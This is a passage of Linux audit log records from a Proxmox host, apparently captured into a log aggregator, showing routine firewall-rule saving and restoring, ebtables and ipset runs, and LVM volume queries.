cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845867,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.867:62896): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964235930,"@rawstring":"node=pve type=PATH msg=audit(1781964235.930:60150): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845856,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.856:62895): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964235930,"@rawstring":"node=pve type=PATH msg=audit(1781964235.930:60150): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845856,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.856:62894): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964235923,"@rawstring":"node=pve type=PATH msg=audit(1781964235.923:60149): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845856,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.856:62893): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964235923,"@rawstring":"node=pve type=PATH msg=audit(1781964235.923:60149): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845485,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.485:62892): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964234430,"@rawstring":"node=pve type=PATH msg=audit(1781964234.430:60148): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845482,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.482:62891): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964234430,"@rawstring":"node=pve type=PATH msg=audit(1781964234.430:60148): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845481,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.481:62890): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964234395,"@rawstring":"node=pve type=PATH msg=audit(1781964234.395:60147): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845481,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.481:62889): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964234395,"@rawstring":"node=pve type=PATH msg=audit(1781964234.395:60147): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845478,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.478:62888): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964233416,"@rawstring":"node=pve type=PATH msg=audit(1781964233.416:60146): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845471,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.471:62887): proctitle=\"ip6tables-save\""} {"@timestamp":1781964233416,"@rawstring":"node=pve type=PATH msg=audit(1781964233.416:60146): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845465,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.465:62886): proctitle=\"iptables-save\""} {"@timestamp":1781964233416,"@rawstring":"node=pve type=PATH msg=audit(1781964233.416:60145): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845458,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.458:62885): proctitle=\"ip6tables-save\""} {"@timestamp":1781964233416,"@rawstring":"node=pve type=PATH msg=audit(1781964233.416:60144): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845452,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.452:62884): proctitle=\"iptables-save\""} {"@timestamp":1781964233407,"@rawstring":"node=pve type=PATH msg=audit(1781964233.407:60143): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845450,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.450:62883): proctitle=\"ebtables-restore\""} {"@timestamp":1781964233407,"@rawstring":"node=pve type=PATH msg=audit(1781964233.407:60143): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845447,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.447:62882): proctitle=\"ebtables-restore\""} {"@timestamp":1781964233407,"@rawstring":"node=pve type=PATH msg=audit(1781964233.407:60142): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845443,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.443:62881): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964233407,"@rawstring":"node=pve type=PATH msg=audit(1781964233.407:60141): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845438,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.438:62880): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964228394,"@rawstring":"node=pve type=PATH msg=audit(1781964228.394:60140): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845432,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.432:62879): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964228394,"@rawstring":"node=pve type=PATH msg=audit(1781964228.394:60140): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845426,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.426:62878): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964228394,"@rawstring":"node=pve type=PATH msg=audit(1781964228.394:60139): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845421,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.421:62877): proctitle=697073657400726573746F7265"} {"@timestamp":1781964228394,"@rawstring":"node=pve type=PATH msg=audit(1781964228.394:60138): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845415,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.415:62876): proctitle=\"ip6tables-save\""} {"@timestamp":1781964228385,"@rawstring":"node=pve type=PATH msg=audit(1781964228.385:60137): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845409,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.409:62875): proctitle=\"iptables-save\""} {"@timestamp":1781964228385,"@rawstring":"node=pve type=PATH msg=audit(1781964228.385:60137): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845405,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.405:62874): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964228385,"@rawstring":"node=pve type=PATH msg=audit(1781964228.385:60136): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845402,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.402:62873): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964228385,"@rawstring":"node=pve type=PATH msg=audit(1781964228.385:60135): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845402,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.402:62872): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964225910,"@rawstring":"node=pve type=PATH msg=audit(1781964225.910:60134): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845402,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.402:62871): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964225910,"@rawstring":"node=pve type=PATH msg=audit(1781964225.910:60134): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845398,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.398:62870): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964225907,"@rawstring":"node=pve type=PATH msg=audit(1781964225.907:60133): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845392,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.392:62869): proctitle=\"ip6tables-save\""} {"@timestamp":1781964225907,"@rawstring":"node=pve type=PATH msg=audit(1781964225.907:60133): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845386,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.386:62868): proctitle=\"iptables-save\""} {"@timestamp":1781964225905,"@rawstring":"node=pve type=PATH msg=audit(1781964225.905:60132): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845382,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.382:62867): proctitle=69707365740073617665"} {"@timestamp":1781964225905,"@rawstring":"node=pve type=PATH msg=audit(1781964225.905:60132): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845376,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.376:62866): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964225905,"@rawstring":"node=pve type=PATH msg=audit(1781964225.905:60131): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845370,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.370:62865): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964225901,"@rawstring":"node=pve type=PATH msg=audit(1781964225.901:60130): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964844412,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964844.412:62864): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964225901,"@rawstring":"node=pve type=PATH msg=audit(1781964225.901:60130): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964844387,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964844.387:62863): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964225901,"@rawstring":"node=pve type=PATH msg=audit(1781964225.901:60130): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964840848,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964840.848:62862): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964225895,"@rawstring":"node=pve type=PATH msg=audit(1781964225.895:60129): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964840848,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964840.848:62861): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964225895,"@rawstring":"node=pve type=PATH msg=audit(1781964225.895:60129): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964840848,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964840.848:62860): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964225889,"@rawstring":"node=pve type=PATH msg=audit(1781964225.889:60128): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964840841,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964840.841:62859): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964225889,"@rawstring":"node=pve type=PATH msg=audit(1781964225.889:60128): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964840841,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964840.841:62858): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964225881,"@rawstring":"node=pve type=PATH msg=audit(1781964225.881:60127): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964840841,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964840.841:62857): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964225881,"@rawstring":"node=pve type=PATH msg=audit(1781964225.881:60127): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835834,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.834:62856): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964225875,"@rawstring":"node=pve type=PATH msg=audit(1781964225.875:60126): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835834,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.834:62855): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964225875,"@rawstring":"node=pve type=PATH msg=audit(1781964225.875:60126): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835834,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.834:62854): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964225869,"@rawstring":"node=pve type=PATH msg=audit(1781964225.869:60124): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835820,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.820:62853): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964225869,"@rawstring":"node=pve type=PATH msg=audit(1781964225.869:60124): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835820,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.820:62852): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964225864,"@rawstring":"node=pve type=PATH msg=audit(1781964225.864:60123): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835820,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.820:62851): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964225864,"@rawstring":"node=pve type=PATH msg=audit(1781964225.864:60123): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835358,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.358:62850): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964225859,"@rawstring":"node=pve type=PATH msg=audit(1781964225.859:60122): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835354,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.354:62849): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964225859,"@rawstring":"node=pve type=PATH msg=audit(1781964225.859:60122): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835353,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.353:62848): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964225854,"@rawstring":"node=pve type=PATH msg=audit(1781964225.854:60121): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835353,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.353:62847): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964225854,"@rawstring":"node=pve type=PATH msg=audit(1781964225.854:60121): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835350,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.350:62846): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964225848,"@rawstring":"node=pve type=PATH msg=audit(1781964225.848:60120): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835343,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.343:62845): proctitle=\"ip6tables-save\""} {"@timestamp":1781964225848,"@rawstring":"node=pve type=PATH msg=audit(1781964225.848:60120): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835336,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.336:62844): proctitle=\"iptables-save\""} {"@timestamp":1781964225843,"@rawstring":"node=pve type=PATH msg=audit(1781964225.843:60119): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835330,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.330:62843): proctitle=\"ip6tables-save\""} {"@timestamp":1781964225843,"@rawstring":"node=pve type=PATH msg=audit(1781964225.843:60119): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835324,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.324:62842): proctitle=\"iptables-save\""} {"@timestamp":1781964225836,"@rawstring":"node=pve type=PATH msg=audit(1781964225.836:60118): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835320,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.320:62841): proctitle=\"ebtables-restore\""} {"@timestamp":1781964225836,"@rawstring":"node=pve type=PATH msg=audit(1781964225.836:60118): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835318,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.318:62840): proctitle=\"ebtables-restore\""} {"@timestamp":1781964225830,"@rawstring":"node=pve type=PATH msg=audit(1781964225.830:60117): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835314,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.314:62839): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964225830,"@rawstring":"node=pve type=PATH msg=audit(1781964225.830:60117): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835307,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.307:62838): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964225826,"@rawstring":"node=pve type=PATH msg=audit(1781964225.826:60116): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835302,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.302:62837): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964225826,"@rawstring":"node=pve type=PATH msg=audit(1781964225.826:60116): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835297,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.297:62836): 